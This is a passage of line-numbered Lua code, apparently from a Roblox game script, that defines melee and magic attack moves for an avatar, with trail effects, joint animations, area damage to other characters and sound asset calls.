3561 | --dmgstop() | |
3562 | attack=false | |
3563 | con1:disconnect() | |
3564 | if TrailDeb == true then | |
3565 | TrailDeb = false | |
3566 | end | |
3567 | end | |
3568 | ||
3569 | function attackthree() | |
3570 | attack=true | |
3571 | if TrailDeb == false then | |
3572 | TrailDeb = true | |
3573 | end | |
3574 | ||
3575 | ||
3576 | coroutine.wrap(function() | |
3577 | local Old = Handle.CFrame.p | |
3578 | while wait()do | |
3579 | if not TrailDeb then break end | |
3580 | local New = Handle.CFrame.p | |
3581 | local Mag =(Old -New).magnitude | |
3582 | local Dis =(Old +New)/2 | |
3583 | local Trail = Instance.new("Part",Character) | |
3584 | Trail.Material = "Neon" | |
3585 | Trail.Anchored = true | |
3586 | Trail.CanCollide = false | |
3587 | Trail.BrickColor = TorsoColor | |
3588 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3589 | Trail.TopSurface = 0 | |
3590 | Trail.BottomSurface = 0 | |
3591 | Trail.formFactor = "Custom" | |
3592 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3593 | local ms = Instance.new("BlockMesh",Trail) | |
3594 | ms.Scale = Vector3.new(1,1,1) | |
3595 | local TM = Instance.new("CylinderMesh",Trail) | |
3596 | TM.Scale = Vector3.new(1,1,1) | |
3597 | Old = New | |
3598 | coroutine.wrap(function() | |
3599 | for i = 1,0,-0.1 do | |
3600 | wait() | |
3601 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3602 | end | |
3603 | Trail:remove() | |
3604 | end)() | |
3605 | coroutine.wrap(function() | |
3606 | for i = 1,10 do | |
3607 | wait() | |
3608 | Trail.Transparency = Trail.Transparency +0.1 | |
3609 | end end)()end end)() | |
3610 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) | |
3611 | for i=0,1,0.08 do | |
3612 | swait() | |
3613 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) | |
3614 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
3615 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3616 | Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) | |
3617 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3618 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3) | |
3619 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3620 | end | |
3621 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) | |
3622 | so("http://www.roblox.com/asset/?id=159882477",Torso,1,1) | |
3623 | for i=0,1,0.05 do | |
3624 | swait() | |
3625 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
3626 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3) | |
3627 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3628 | Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2) | |
3629 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3630 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3) | |
3631 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3632 | end | |
3633 | --dmgstop() | |
3634 | attack=false | |
3635 | con1:disconnect() | |
3636 | if TrailDeb == true then | |
3637 | TrailDeb = false | |
3638 | end | |
3639 | end | |
3640 | ||
3641 | function attackfour() | |
3642 | attack=true | |
3643 | if TrailDeb == false then | |
3644 | TrailDeb = true | |
3645 | end | |
3646 | ||
3647 | ||
3648 | coroutine.wrap(function() | |
3649 | local Old = Handle2.CFrame.p | |
3650 | while wait()do | |
3651 | if not TrailDeb then break end | |
3652 | local New = Handle2.CFrame.p | |
3653 | local Mag =(Old -New).magnitude | |
3654 | local Dis =(Old +New)/2 | |
3655 | local Trail = Instance.new("Part",Character) | |
3656 | Trail.Material = "Neon" | |
3657 | Trail.Anchored = true | |
3658 | Trail.CanCollide = false | |
3659 | Trail.BrickColor = TorsoColor | |
3660 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3661 | Trail.TopSurface = 0 | |
3662 | Trail.BottomSurface = 0 | |
3663 | Trail.formFactor = "Custom" | |
3664 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3665 | local ms = Instance.new("BlockMesh",Trail) | |
3666 | ms.Scale = Vector3.new(1,1,1) | |
3667 | local TM = Instance.new("CylinderMesh",Trail) | |
3668 | TM.Scale = Vector3.new(1,1,1) | |
3669 | Old = New | |
3670 | coroutine.wrap(function() | |
3671 | for i = 1,0,-0.1 do | |
3672 | wait() | |
3673 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3674 | end | |
3675 | Trail:remove() | |
3676 | end)() | |
3677 | coroutine.wrap(function() | |
3678 | for i = 1,10 do | |
3679 | wait() | |
3680 | Trail.Transparency = Trail.Transparency +0.1 | |
3681 | end end)()end end)() | |
3682 | coroutine.wrap(function() | |
3683 | local Old = Handle.CFrame.p | |
3684 | while wait()do | |
3685 | if not TrailDeb then break end | |
3686 | local New = Handle.CFrame.p | |
3687 | local Mag =(Old -New).magnitude | |
3688 | local Dis =(Old +New)/2 | |
3689 | local Trail = Instance.new("Part",Character) | |
3690 | Trail.Material = "Neon" | |
3691 | Trail.Anchored = true | |
3692 | Trail.CanCollide = false | |
3693 | Trail.BrickColor = TorsoColor | |
3694 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3695 | Trail.TopSurface = 0 | |
3696 | Trail.BottomSurface = 0 | |
3697 | Trail.formFactor = "Custom" | |
3698 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3699 | local ms = Instance.new("BlockMesh",Trail) | |
3700 | ms.Scale = Vector3.new(1,1,1) | |
3701 | local TM = Instance.new("CylinderMesh",Trail) | |
3702 | TM.Scale = Vector3.new(1,1,1) | |
3703 | Old = New | |
3704 | coroutine.wrap(function() | |
3705 | for i = 1,0,-0.1 do | |
3706 | wait() | |
3707 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3708 | end | |
3709 | Trail:remove() | |
3710 | end)() | |
3711 | coroutine.wrap(function() | |
3712 | for i = 1,10 do | |
3713 | wait() | |
3714 | Trail.Transparency = Trail.Transparency +0.1 | |
3715 | end end)()end end)() | |
3716 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3717 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3718 | for i=0,1,0.08 do | |
3719 | swait() | |
3720 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3721 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3722 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3723 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3724 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3725 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3726 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3727 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3728 | end | |
3729 | if anim then | |
3730 | anim.Disabled=true | |
3731 | end | |
3732 | so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7) | |
3733 | so("http://www.roblox.com/asset/?id=159882584",Torso,1,1) | |
3734 | for i=0,1,0.04 do | |
3735 | swait() | |
3736 | Torso.Velocity=RootPart.CFrame.lookVector*50 | |
3737 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3) | |
3738 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3739 | Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3740 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3741 | RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3742 | LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3743 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3744 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3745 | end | |
3746 | --dmgstop() | |
3747 | attack=false | |
3748 | con1:disconnect() | |
3749 | con2:disconnect() | |
3750 | if anim then | |
3751 | anim.Disabled=false | |
3752 | end | |
3753 | if TrailDeb == true then | |
3754 | TrailDeb = false | |
3755 | end | |
3756 | end | |
3757 | ||
3758 | function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2) | |
3759 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3760 | prt.Anchored = true | |
3761 | prt.CFrame = cframe | |
3762 | local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1)) | |
3763 | coroutine.resume(coroutine.create(function() | |
3764 | for i = 0, 1, 0.05 do | |
3765 | wait() | |
3766 | prt.Transparency = i | |
3767 | msh.Scale = msh.Scale + vt(x2, y2, z2) | |
3768 | end | |
3769 | prt.Parent = nil | |
3770 | end)) | |
3771 | end | |
3772 | ||
3773 | function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type) | |
3774 | for _, c in pairs(workspace:children()) do | |
3775 | local hum = c:findFirstChild("Humanoid") | |
3776 | if hum ~= nil then | |
3777 | local head = c:findFirstChild("Torso") | |
3778 | if head ~= nil then | |
3779 | local targ = head.Position - Part.Position | |
3780 | local mag = targ.magnitude | |
3781 | if mag <= magni and c.Name ~= Player.Name then | |
3782 | Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3) | |
3783 | end | |
3784 | end | |
3785 | end | |
3786 | end | |
3787 | end | |
3788 | ||
3789 | function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay) | |
3790 | local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5)) | |
3791 | prt.Anchored = true | |
3792 | prt.CFrame = cframe | |
3793 | local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1)) | |
3794 | game:GetService("Debris"):AddItem(prt, 2) | |
3795 | coroutine.resume(coroutine.create(function(Part, Mesh) | |
3796 | for i = 0, 1, delay do | |
3797 | swait() | |
3798 | Part.CFrame = Part.CFrame | |
3799 | Part.Transparency = i | |
3800 | Mesh.Scale = Mesh.Scale + vt(x3, y3, z3) | |
3801 | end | |
3802 | Part.Parent = nil | |
3803 | end), prt, msh) | |
3804 | end | |
3805 | ||
3806 | function MagicJump() | |
3807 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
3808 | attack=true | |
3809 | mana=mana-25 | |
3810 | --[[ Humanoid.WalkSpeed = 0 | |
3811 | for i=0,1,0.01 do | |
3812 | swait() | |
3813 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1) | |
3814 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1) | |
3815 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
3816 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1) | |
3817 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1) | |
3818 | RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1) | |
3819 | LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1) | |
3820 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1) | |
3821 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1) | |
3822 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1) | |
3823 | end]]-- | |
3824 | Humanoid.Jump = true | |
3825 | Torso.Velocity = vt(0, 150, 0) | |
3826 | Humanoid.WalkSpeed = 64 | |
3827 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3828 | so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8) | |
3829 | for i=0,1,0.05 do | |
3830 | swait() | |
3831 | Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3) | |
3832 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3833 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0+8*i,0,0),.3) | |
3834 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3835 | RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3) | |
3836 | RH.C0=clerp(RH.C0,cf(1,0,-1)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
3837 | LH.C0=clerp(LH.C0,cf(-1,0,-1)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
3838 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2) | |
3839 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(60),math.rad(0)),.2) | |
3840 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-5,0)*angles(math.rad(60),math.rad(-60),math.rad(0)),.2) | |
3841 | end | |
3842 | for i=0,1,0.02 do | |
3843 | swait() | |
3844 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
3845 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3846 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
3847 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
3848 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3849 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
3850 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
3851 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
3852 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
3853 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3854 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3855 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3856 | end | |
3857 | Humanoid.WalkSpeed = 0 | |
3858 | swait(8) | |
3859 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3860 | so("http://www.roblox.com/asset/?id=199145477",Torso,1,1) | |
3861 | local hit,pos=rayCast(Torso.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,100,Character) | |
3862 | if hit~=nil then | |
3863 | swait(2) | |
3864 | local ref=part(3,workspace,"SmoothPlastic",0,1,BrickColor.new("White"),"Effect",vt()) | |
3865 | ref.Anchored=true | |
3866 | ref.CFrame=cf(pos) | |
3867 | game:GetService("Debris"):AddItem(ref,3) | |
3868 | for i=1,10 do | |
3869 | local Col=BrickColor.new("White") | |
3870 | local groundpart=part(3,Character,"SmoothPlastic",0,0,Col,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3871 | groundpart.Anchored=true | |
3872 | groundpart.CanCollide=false | |
3873 | groundpart.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3874 | local Col2=TorsoColor | |
3875 | local groundpart2=part(3,Character,"SmoothPlastic",0,0,Col2,"Ground",vt(math.random(50,200)/100,math.random(50,200)/100,math.random(50,200)/100)) | |
3876 | groundpart2.Anchored=true | |
3877 | groundpart2.CanCollide=false | |
3878 | groundpart2.CFrame=cf(pos)*cf(math.random(-500,500)/100,0,math.random(-500,500)/100)*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50)) | |
3879 | game:GetService("Debris"):AddItem(groundpart,5) | |
3880 | game:GetService("Debris"):AddItem(groundpart2,5) | |
3881 | end | |
3882 | BlastEffect(TorsoColor,cf(pos),1,1,1,1.4,1.4,1.4) | |
3883 | BlastEffect(BrickColor.new("White"),cf(pos),.9,.9,.9,1.2,1.2,1.2) | |
3884 | MagicCircle(BrickColor.new("White"),cf(pos),5,5,5,5,5,5,0.05) | |
3885 | MagicCircle(TorsoColor,cf(pos),6,6,6,6,6,6,0.05) | |
3886 | for i=0,1,0.06 do | |
3887 | swait() | |
3888 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-20),math.rad(0),math.rad(0)),.3) | |
3889 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
3890 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-0.5)*angles(math.rad(50),math.rad(0),math.rad(0)),.3) | |
3891 | RW.C0=clerp(RW.C0,cf(1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(-30)),.3) | |
3892 | LW.C0=clerp(LW.C0,cf(-1, 0.3, -.7)*angles(math.rad(50),math.rad(0),math.rad(30)),.3) | |
3893 | RH.C0=clerp(RH.C0,cf(1, -.5, -.5)*angles(math.rad(50),math.rad(90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3894 | LH.C0=clerp(LH.C0,cf(-1, -1, -.5)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-3),math.rad(0),math.rad(0)),.3) | |
3895 | handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2) | |
3896 | Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2) | |
3897 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2) | |
3898 | end | |
3899 | end | |
3900 | swait(20) | |
3901 | Humanoid.WalkSpeed = 12 | |
3902 | --dmgstop() | |
3903 | attack=false | |
3904 | end | |
3905 | end | |
3906 | ||
3907 | function Spin() | |
3908 | attack=true | |
3909 | mana=mana-40 | |
3910 | if TrailDeb == false then | |
3911 | TrailDeb = true | |
3912 | end | |
3913 | ||
3914 | coroutine.wrap(function() | |
3915 | local Old = Handle2.CFrame.p | |
3916 | while wait()do | |
3917 | if not TrailDeb then break end | |
3918 | local New = Handle2.CFrame.p | |
3919 | local Mag =(Old -New).magnitude | |
3920 | local Dis =(Old +New)/2 | |
3921 | local Trail = Instance.new("Part",Character) | |
3922 | Trail.Material = "Neon" | |
3923 | Trail.Anchored = true | |
3924 | Trail.CanCollide = false | |
3925 | Trail.BrickColor = TorsoColor | |
3926 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3927 | Trail.TopSurface = 0 | |
3928 | Trail.BottomSurface = 0 | |
3929 | Trail.formFactor = "Custom" | |
3930 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3931 | local ms = Instance.new("BlockMesh",Trail) | |
3932 | ms.Scale = Vector3.new(1,1,1) | |
3933 | local TM = Instance.new("CylinderMesh",Trail) | |
3934 | TM.Scale = Vector3.new(1,1,1) | |
3935 | Old = New | |
3936 | coroutine.wrap(function() | |
3937 | for i = 1,0,-0.1 do | |
3938 | wait() | |
3939 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3940 | end | |
3941 | Trail:remove() | |
3942 | end)() | |
3943 | coroutine.wrap(function() | |
3944 | for i = 1,10 do | |
3945 | wait() | |
3946 | Trail.Transparency = Trail.Transparency +0.1 | |
3947 | end end)()end end)() | |
3948 | coroutine.wrap(function() | |
3949 | local Old = Handle.CFrame.p | |
3950 | while wait()do | |
3951 | if not TrailDeb then break end | |
3952 | local New = Handle.CFrame.p | |
3953 | local Mag =(Old -New).magnitude | |
3954 | local Dis =(Old +New)/2 | |
3955 | local Trail = Instance.new("Part",Character) | |
3956 | Trail.Material = "Neon" | |
3957 | Trail.Anchored = true | |
3958 | Trail.CanCollide = false | |
3959 | Trail.BrickColor = TorsoColor | |
3960 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3961 | Trail.TopSurface = 0 | |
3962 | Trail.BottomSurface = 0 | |
3963 | Trail.formFactor = "Custom" | |
3964 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3965 | local ms = Instance.new("BlockMesh",Trail) | |
3966 | ms.Scale = Vector3.new(1,1,1) | |
3967 | local TM = Instance.new("CylinderMesh",Trail) | |
3968 | TM.Scale = Vector3.new(1,1,1) | |
3969 | Old = New | |
3970 | coroutine.wrap(function() | |
3971 | for i = 1,0,-0.1 do | |
3972 | wait() | |
3973 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3974 | end | |
3975 | Trail:remove() | |
3976 | end)() | |
3977 | coroutine.wrap(function() | |
3978 | for i = 1,10 do | |
3979 | wait() | |
3980 | Trail.Transparency = Trail.Transparency +0.1 | |
3981 | end end)()end end)() | |
3982 | Footsteps:Stop() | |
3983 | Footsteps2:Stop() | |
3984 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3985 | con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3986 | so("http://www.roblox.com/asset/?id=159882497",Torso,1,1) | |
3987 | for i=0,1,0.1 do | |
3988 | swait() | |
3989 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
3990 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3991 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3992 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3993 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
3994 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
3995 | end | |
3996 | if anim then | |
3997 | anim.Disabled=true | |
3998 | end | |
3999 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
4000 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
4001 | for i=0,1,0.05 do | |
4002 | swait() | |
4003 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4004 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
4005 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4006 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4007 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4008 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4009 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4010 | end | |
4011 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
4012 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
4013 | for i=0,1,0.05 do | |
4014 | swait() | |
4015 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4016 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
4017 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4018 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4019 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4020 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4021 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4022 | end | |
4023 | so("http://www.roblox.com/asset/?id=231917758",LeftArm,1,1.2) | |
4024 | so("http://www.roblox.com/asset/?id=231917758",RightArm,1,1) | |
4025 | for i=0,1,0.05 do | |
4026 | swait() | |
4027 | Torso.Velocity=RootPart.CFrame.lookVector*100 | |
4028 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,10)*angles(math.rad(0),math.rad(90),math.rad(0+360*i)),.3) | |
4029 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4030 | Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4031 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
4032 | RW.C0=clerp(RW.C0,cf(1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3) | |
4033 | LW.C0=clerp(LW.C0,cf(-1,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3) | |
4034 | end | |
4035 | --dmgstop() | |
4036 | Humanoid.WalkSpeed=12 | |
4037 | attack=false | |
4038 | con1:disconnect() | |
4039 | con2:disconnect() | |
4040 | if anim then | |
4041 | anim.Disabled=false | |
4042 | end | |
4043 | if TrailDeb == true then | |
4044 | TrailDeb = false | |
4045 | end | |
4046 | end | |
4047 | ||
4048 | function Twirl() | |
4049 | mana=mana-50 | |
4050 | attack=true | |
4051 | if TrailDeb == false then | |
4052 | TrailDeb = true | |
4053 | end | |
4054 | ||
4055 | ||
4056 | coroutine.wrap(function() | |
4057 | local Old = Handle2.CFrame.p | |
4058 | while wait()do | |
4059 | if not TrailDeb then break end | |
4060 | local New = Handle2.CFrame.p | |
4061 | local Mag =(Old -New).magnitude | |
4062 | local Dis =(Old +New)/2 | |
4063 | local Trail = Instance.new("Part",Character) | |
4064 | Trail.Material = "Neon" | |
4065 | Trail.Anchored = true | |
4066 | Trail.CanCollide = false | |
4067 | Trail.BrickColor = TorsoColor | |
4068 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
4069 | Trail.TopSurface = 0 | |
4070 | Trail.BottomSurface = 0 | |
4071 | Trail.formFactor = "Custom" | |
4072 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
4073 | local ms = Instance.new("BlockMesh",Trail) | |
